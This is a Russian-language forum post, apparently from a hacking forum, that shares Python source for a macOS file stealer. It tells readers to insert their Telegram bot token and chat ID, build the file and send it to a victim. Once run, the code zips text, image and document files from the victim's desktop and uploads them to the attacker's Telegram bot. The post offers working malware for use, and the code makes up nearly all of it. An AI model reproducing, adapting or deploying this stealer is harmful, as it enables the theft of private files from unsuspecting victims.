![]() |
Сливаю вам исходник стиллера на MacOS который стиллит с рабочего стола все файлы формата *.txt|*.rtf|*.jpg|*.png|*.doc|*.docs - и отправляет их в ваш телеграмм бот! (вы можете добавить расширения файлов которые стиллит код) Написан на Python Как работать с кодом? bot_token = 'тут токен бота' | hat_id = 'ваш телеграм ид' - меняем на свое значение, билдим файл и отправляем жертве! После запуска все файлы с рабочего стола упакуются в архив и отправлятся вам в тг бот! Код: import os import glob import zipfile import requests # Токен бота bot_token = 'тут токен бота' # ID чата, куда будут отправляться файлы chat_id = 'ваш телеграм ид' # Путь к рабочему столу desktop_path = os.path.join(os.environ['HOME'], 'Desktop') # Шаблон для поиска файлов file_pattern = '*.txt|*.rtf|*.jpg|*.png|*.doc|*.docs' # Название архива zip_filename = 'files.zip' # Имя папки, которая будет добавлена в архив zip_folder_name = 'files' # Итерируемся по всем найденным файлам и добавляем их в архив with zipfile.ZipFile(zip_filename, 'w', zipfile.ZIP_DEFLATED) as zip_file: for file_path in os.listdir(desktop_path): if file_path.endswith(('.txt', '.rtf', '.jpg', '.png', '.doc', '.docs')): full_path = os.path.join(desktop_path, file_path) rel_path = os.path.relpath(full_path, desktop_path) zip_file.write(full_path, arcname=os.path.join(zip_folder_name, rel_path)) # Открываем архив и отправляем его в чат with open(zip_filename, 'rb') as f: response = requests.post( f'https://api.telegram.org/bot{bot_token}/sendDocument', data={ 'chat_id': chat_id, }, files={ 'document': (zip_filename, f, 'application/zip'), }, params={ 'caption': 'All files in archive', } ) if response.status_code != 200: print(f'Failed to send message. Status code: {response.status_code}') # Удаляем архив os.remove(zip_filename) |
All times are GMT. The time now is 06:27 AM. |
Powered by vBulletin® Version 3.8.7
Copyright ©2000 - 2025, vBulletin Solutions, Inc.